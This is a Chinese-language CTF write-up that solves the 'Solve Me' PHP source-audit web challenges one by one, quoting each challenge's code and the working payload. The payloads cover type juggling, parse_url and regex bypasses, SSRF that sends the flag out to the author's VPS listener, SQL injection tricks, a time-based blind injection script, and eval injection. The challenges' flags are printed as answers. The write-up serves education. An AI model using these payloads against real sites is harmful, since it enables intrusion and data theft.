前言
最近发现了一个Web练习平台:http://solveme.peng.kr/chall
里面所有的Web都是源码审计,感觉网上相关题解很少,于是抽空做了一下,写了一篇文章,欢迎大家和我多多交流!
warmup
应该是道签到题
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
题目给出字符串:1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
我们反解一下即可:
<?php
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));
?>
即可得到结果:flag{582a0f2c7e302244b110cc461f5cb100}
Bad compare
题目给了源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
if($_GET['answer'] === 'роВхУъесЧМ'){
echo $flag;
}else{
echo 'Wrong answer';
}
echo '<hr>';
}
highlight_file(__FILE__);
其中answer需要等于一个奇怪的字符串,如果直接复制就会解析有问题(我粘贴的代码中已经解析出错了,实际上都不是ascii码中可见字符),所以我使用了一个脚本获取这串解析有误的字符串
import requests
import urllib
url = "http://badcompare.solveme.peng.kr"
s = requests.get(url=url)
print urllib.quote(s.content[917:927])
得到结果
%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC
最后提交即可
http://badcompare.solveme.peng.kr/?answer=%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC
拿到flag:flag{446c7b68ad824cd9c1df87158717aa2b}
Winter sleep
题目给出了源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
可见我们输入一个介于5184000~7776000直接的值即可拿到flag但实际上这样我们的浏览器会sleep大量时间,显然不可取这里选择弱比较
<?php
echo 60 * 60 * 24 * 30 * 2;
echo "\n";
echo 6e6;
echo "\n";
echo (int)'6e6';
echo "\n";
echo 60 * 60 * 24 * 30 * 3;
可以看以上脚本输出内容:
5184000
6000000
6
7776000
故此访问http://wintersleep.solveme.peng.kr/?time=6e6
,等待6秒,即可拿到flag:flag{2d4e9b6608efb8088abb2345ef2f7b90}
Hard login
给出源码
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';
if(isset($_GET['username'], $_GET['password'])){
if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';
}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';
}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';
}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}
echo '<hr>';
}
highlight_file(__FILE__);
说实话这题真心坑……我看到后一直在尝试用户名密码……很崩溃,一直没解出来最后看到他的跳转header('Location: ./');
索性尝试一下直接访问index.php,但是发现不行,会跳转回来于是尝试curl了一下
root@ubuntu-512mb-sfo2-01:/var/log/apache2# curl http://hardlogin.solveme.peng.kr/index.php
flag{0c6c0da40b898083181495d760759e78}<hr><code><span style="color: #000000">
立刻拿到flag……泪崩
URL filtering
看到代码
<?php
error_reporting(0);
require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query);
foreach($params as $param){
$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
highlight_file(__FILE__);
看到过滤
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
但是题目却要求我们使用do_you_want_flag=yes来获取flag显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作此时相当parse_url一个解析漏洞,详情可以戳我的这篇文章:
http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/
所以我最后的bypass payload为:
http://urlfiltering.solveme.peng.kr///?do_you_want_flag=yes
即可拿到flag:flag{dce9d958be17f0f360b8148706e87bf2}
hashcollision
看到源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}
if($_GET['foo'] === $_GET['bar']){
die('Same value');
}
if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}
echo $flag, '<hr>';
}
highlight_file(__FILE__);
可以看到要求我们用不同的值,并且sha512相等,所以立刻想到数组绕过漏洞
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2
访问即可拿到flag:flag{0cec577bd45696ab552fe3ab6110c35b}
Array2String
拿到题目直接给出源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
这里要求不能输入username,并且输入的vaule不在ascii码可见范围内但是最后又要求value经过chr后拼接的username为'15th_HackingCamp'这里我的第一反应是利用强转和弱比较之类的trick,所以我首先构造了脚本
$i=0;
while ($i <= 100) {
$test = $i."e1";
if ($test > 32 && $test < 127)
{
}
else
{
if ((ord(chr($test))>32)&&(ord(chr($test))<127))
{
echo "test:".$test." chr:".chr($test)."\n";
}
}
$i = $i+0.1;
}
然后很轻松得到可以Bypass的值(如下给出部分)
test:28.9e1 chr:!
test:29e1 chr:"
test:29.1e1 chr:#
test:29.2e1 chr:$
test:29.3e1 chr:%
test:29.4e1 chr:&
test:29.5e1 chr:'
test:29.6e1 chr:(
test:29.7e1 chr:)
test:29.8e1 chr:*
test:29.9e1 chr:+
test:30e1 chr:,
test:30.1e1 chr:-
test:30.2e1 chr:.
test:30.3e1 chr:/
test:30.4e1 chr:0
test:30.5e1 chr:1
test:30.6e1 chr:2
test:30.7e1 chr:3
test:30.8e1 chr:4
test:30.9e1 chr:5
test:31e1 chr:6
容易得到payload:
http://array2string.solveme.peng.kr/?value[]=56.100000000001e1&value[]=82.1e1&value[]=88.499999999999e1&value[]=87.299999999999e1&value[]=86.399999999999e1&value[]=84.099999999999e1&value[]=60.900000000001e1&value[]=61.100000000001e1&value[]=61.900000000001e1&value[]=61.700000000001e1&value[]=62.200000000001e1&value[]=61.500000000001e1&value[]=57.900000000001e1&value[]=60.900000000001e1&value[]=62.100000000001e1&value[]=62.400000000001e1&password=simple_passw0rd
但后来经过查阅chr()相关函数:
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
得知chr()会自动进行mod256所以我们可以更简单的得到一个payload
http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
最后得到结果
Hello 15th_HackingCamp!
flag{91b966596782c89bc6eb4daa75f459d7}
Give me a link
看到源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}
$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
echo 'Okay, I sent the flag.', '<hr>';
}
highlight_file(__FILE__);
首先看到3个过滤1.过滤了下划线2.限制了$_SERVER['HTTP_HOST']
,并且抓包不允许修改HOST3.parse_url解析后路径需为/plz_give_me这里显然1和3是冲突的然后flag的获取方式
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
和2是冲突的首先我们解决下划线被waf的问题查阅parse_url的官方手册,可以知道
url
The URL to parse. Invalid characters are replaced by _.
无效的字符会被自动替换成下划线我们尝试一下
<?php
$url = urldecode("http://skysec.top/%1atest%1a");
var_dump(parse_url($url));
?>
得到
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(10) "skysec.top"
["path"]=>
string(7) "/_test_"
}
发现%1a可以成功被替换成下划线那么我们第一个问题解决了,下面是如何解决Host的问题在官方手册中还有这样一句
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';
所以Host的值我们可以构造
givemealink.solveme.peng.kr@vps_ip
去绕过检测所以最后payload为
http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame
服务器上收到flag:
223.26.138.11 - - [15/Mar/2018:12:44:15 +0000] "GET /flag{0983f9eaa0357982b2c0b4c6c037dfe3} HTTP/1.1" 404 477 "-" "-"
givemealink2
代码如下
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}
if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}
$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];
if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}
$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));
$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}
socket_close($socket);
echo 'Okay, I sent the flag.', '<hr>';
}
highlight_file(__FILE__);
发现这题和上一题类似,但是这里对host有了新的要求:
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}
正则要求以localhost和127开头,但是存在缺陷由于是127.0.0.1这样的形式,我们可以直接用ip2long来绕过构造脚本如下
<?php
echo ip2long("vps_ip");
?>
然后在vps上打开监听
nc -l -vv -p 23333
然后发送payload:
http://givemealink2.solveme.peng.kr/?url=http://ip2long_vps_ip:23333/plz%01give%01me
即可收到flag:flag{51e22d08303881dd898f916cb1956c4e}
Replace filter
拿到源码
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
echo '<hr>';
}
highlight_file(__FILE__);
审计代码发现正则写法为:
/^(.*)flag(.*)$/
而这个写法是存在缺陷的:.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,也就是说,换行的话,即可破解所以payload为:
http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag
得到flag:flag{f7b4422c4570282e64560f081701ccfa}
Hell JS
拿到网页f12是一堆js混淆用脚本跑了一下
#!/usr/bin/python
# coding: utf-8
js = "......" #此处省去源码
alpha_dict = {
'"f"': '(![]+[])[+[]]',
'"i"': '([][[]]+[])[!![]+!![]+!![]+!![]+!![]]',
'"l"': '(![]+[])[!![]+!![]]',
'"t"': '(!![]+[])[+[]]',
'"e"': '(!![]+[])[!![]+!![]+!![]]',
'"r"': '(!![]+[])[+!![]]',
'"c"': '({}+[])[!![]+!![]+!![]+!![]+!![]]',
'"o"': '({}+[])[+!![]]',
'"n"': '([][[]]+[])[+!![]]',
'"s"': '(![]+[])[!![]+!![]+!![]]',
'"u"': '(!![]+[])[!![]+!![]]',
'" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"b"': '({}+[])[!![]+!![]]',
'" "': '({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"a"': '(![]+[])[+!![]]',
'"2"': '(!![]+!![]+[])',
'"4"': '(!![]+!![]+!![]+!![]+[])',
'"7"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"y"': '(+(+!![]+"e"+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"0"': '(+[]+[])',
'"3"': '(!![]+!![]+!![]+[])',
'"5"': '(!![]+!![]+!![]+!![]+!![]+[])',
'"1"': '(+!![]+[])',
'"9"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"8"': '(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"6"': '(!![]+!![]+!![]+!![]+!![]+!![]+[])',
'"y"': '(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]',
'"d"': '([][[]]+[])[!![]+!![]]',
'[3]': '[!![]+!![]+!![]]'
}
for key, value in alpha_dict.items():
js = js.replace(value, key)
clean_dict = {
'"p"': '([]["filter"]["constructor"]("return "+"location")()+[])[3]',
'"constructor"': '"c"+"o"+"n"+"s"+"t"+"r"+"u"+"c"+"t"+"o"+"r"',
'"return "': '"r"+"e"+"t"+"u"+"r"+"n"+" "',
'"filter"': '"f"+"i"+"l"+"t"+"e"+"r"',
'"fontcolor"': '"f"+"o"+"n"+"t"+"c"+"o"+"l"+"o"+"r"',
'"location"': '"l"+"o"+"c"+"a"+"t"+"i"+"o"+"n"',
'"110"': '"1"+"2"+"2","3"+"2","1"+"0"+"5","1"+"1"+"0"',
'"111"': '"1"+"1"+"1"',
'"99"': '"9"+"9"',
'"98"': '"9"+"8"',
'"57"': '"5"+"7"',
'"101"': '"1"+"0"+"1"',
'"108"': '"1"+"0"+"8"',
'"106"': '"1"+"0"+"6"',
'"61"': '"6"+"1"',
'"112"': '"1"+"1"+"2"',
'"116"': '"1"+"1"+"6"',
'"40"': '"4"+"0"',
'"34"': '"3"+"4"',
'"119"': '"1"+"1"+"9"',
'"105"': '"1"+"0"+"5"',
'"102"': '"1"+"0"+"2"',
'"125"': '"1"+"2"+"5"',
'"102"': '"1"+"0"+"2"',
'"97"': '"9"+"7"',
'"100"': '"1"+"0"+"0"',
# # '"u"': '("1"["s"+"u"+"b"]())[!![]+!![]]'
}
for key, value in clean_dict.items():
js = js.replace(value, key)
print js
得到运行结果(过长就不写全了),发现其中有大量数字:
"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"
这引起了我的注意随即我处理了一下
47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125
然后调用js函数解析
document.write(String.fromCharCode(47,47,32,103,111,111,100,32,106,111,98,33,10,10,108,101,116,32,102,108,97,103,32,61,32,112,114,111,109,112,116,40,34,119,104,97,116,32,105,115,32,116,104,101,32,102,108,97,103,63,34,41,59,10,10,105,102,32,40,102,108,97,103,32,61,61,61,32,34,34,41,32,123,10,10,9,97,108,101,114,116,40,34,112,108,110,112,117,116,34,41,59,10,10,125,32,101,108,115,101,32,105,102,32,40,102,108,97,103,32,61,61,61,32,34,102,108,97,103,123,50,49,100,102,52,97,100,51,99,101,51,49,97,102,56,52,53,99,102,57,99,100,54,97,53,101,100,100,98,98,57,49,125,34,41,32,123,10,10,9,97,108,101,114,116,40,34,98,105,110,103,111,34,41,59,10,10,125,32,101,108,115,101,32,123,10,10,9,97,108,101,114,116,40,34,119,114,111,110,103,34,41,59,10,10,125))
得到回显:
// good job! let flag = prompt("what is the flag?"); if (flag === "") { alert("plnput"); } else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") { alert("bingo"); } else { alert("wrong"); }
可以发现flag
Anti SQLi
审计代码
<?php
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);
if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}
highlight_file(__FILE__);
首先看过滤:
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
)
一眼就看到好像有什么地方不对,因为之前自己写过滤犯过同样的错误
|\\|
对于\
的过滤问题,这样显然是错误的,正确的写法应该为\\\\
那么这是出题人留下的提示吗?或是出题人大意了?顺着反斜杠的思路思考,猜想应该是用反斜杠吃掉一个单引号那么可以引入注释符吗?注意到过滤
|#|--[\s\xA0]|
显然用%23去注释已经被限制死了但是--好像还有机会我们知道直接使用--是没有注释效果的但是如果使用-- 1
类似的才会有效果但此时过滤了空格和%0a,以及前面的一对乱七八糟的过滤所以想用--注释并不是很轻松,那是既然出题人没有写死,说明突破点的确在此想到之前的parse_url那题的不可见字符,于是随手测试了一下发现的确未被过滤,又看到题目要求no为31337于是猜想应该是3列,并且需要union于是开始构造payload:
http://antisqli.thinkout.rf.gd/?id=\&pw=union select 1,1,1 from antisqli --%1A
发现回显Hack detected再去看过滤
union[\s\xA0]+select
发现中间不可以有空格,那加个all好了
http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 1,1,1 from antisqli --%1A
得到回显:
Hello, 1
再次尝试
http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 2,2,2 from antisqli --%1A
又得到回显
Hello, 2
ok,看来此题破解了最后的payload:
http://antisqli.thinkout.rf.gd/?id=\&pw=union all select 31337,31337,31337 from antisqli --%1A
得到flag:flag{5a0841c4738a69af352a06d282bece78}
Name check
源码如下:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['name'])){
$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}
$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}
$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}
echo $flag;
quit:
echo '<hr>';
}
highlight_file(__FILE__);
首先看源码,如何获取flag?
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}
echo $flag;
从条件可以看出,我们必须让4个值的和为4从sql语句来看,满足的唯一方法就是sql的4个操作均为true也就是
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
全部满足的情况下那我们逐个分析:第一行意思为你输入的必须以a开头第二行的意思是你输入的需要有d第三行的意思是你输入的是中间是字符m)第四行就是字符以in结尾这不就是admin吗再去看过滤
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}
发现admin被过滤了那么从sqlite的特性考虑查阅手册发现:
SQLite中,连接字符串不是使用+,而是使用||
随即想到用||进行连接发现未被过滤,于是得到payload
http://namecheck.solveme.peng.kr/?name=adm'||'in
I am slowly
源码如下:
<?php
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];
if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");
}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}
$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}
quit:
mysqli_close($con);
echo '<hr>';
}
highlight_file(__FILE__);
审计代码容易发现漏洞点:
elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}
只有当count === 12时才会drop表但是代码存在致命漏洞,即先进行sql查询再将count+1,然后在下一次访问后才会drop那么我们是否可以构造1.count=11时候停止2.先请求一个sleep(50)的请求此时已经经过了count===12的检测最后网页一直停止在
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
3.再立刻请求一个不带注入sleep的4.显然3先完成,这时候count为125.过了一会儿2完成了,由于已经经过检测,所以不会因为count===12而drop,所以成功,count+1,此时count成为13那么我们即可成功绕过count的限制进行无限制注入这里我写了一个盲注脚本
import requests
header = {
"Host":"iamslowly.thinkout.rf.gd",
"Cache-Control":"max-age=0",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer":"http://solveme.peng.kr/chall",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"__test=a2fbff5c2fbbbf79071a4e0abbb76f3f"
}
flag = ""
for i in range(1,1000):
for j in "abcdef1234567890":
url = "http://iamslowly.thinkout.rf.gd/?i=3&answer=' or if((answer like '%s%%'),sleep(30),1)%%23"%(flag+j)
try:
r = requests.get(url=url,headers=header,timeout=29)
print "i:",i,"j:",j,r.content[:10]
except:
flag += j
print flag
break
此时即可跑出answer,提交即可得到flag
flag{e1442b9d9758c21536b61ac833600561}
Check via eval
代码如下:
<?php
error_reporting(0);
require __DIR__.'/lib.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}
echo '<hr>';
highlight_file(__FILE__);
发现过滤了
`
()
[]
导致很难调用函数和命令执行随后又想能否只能打印出flag发现过滤了
echo
print
require
include
后查阅资料发现可以用以下方式绕过,直接输出比如
<?=$flag='123';?>
可以直接得到结果:123那么我们在这题中,只要构造出<?=$flag?>
即可立刻输出我们要的flag,而不需要再去管sha1的相等问题那么如何构造$flag呢?可以用拼接的方式:
$a='alag';$a{0}='f';
于是最后的payload:
http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>
可以得到flag:flag{47d07abef31b3adb4a4107bd2b2b3d7e}
*本文作者:一叶飘零,转载请注明来自FreeBuf.COM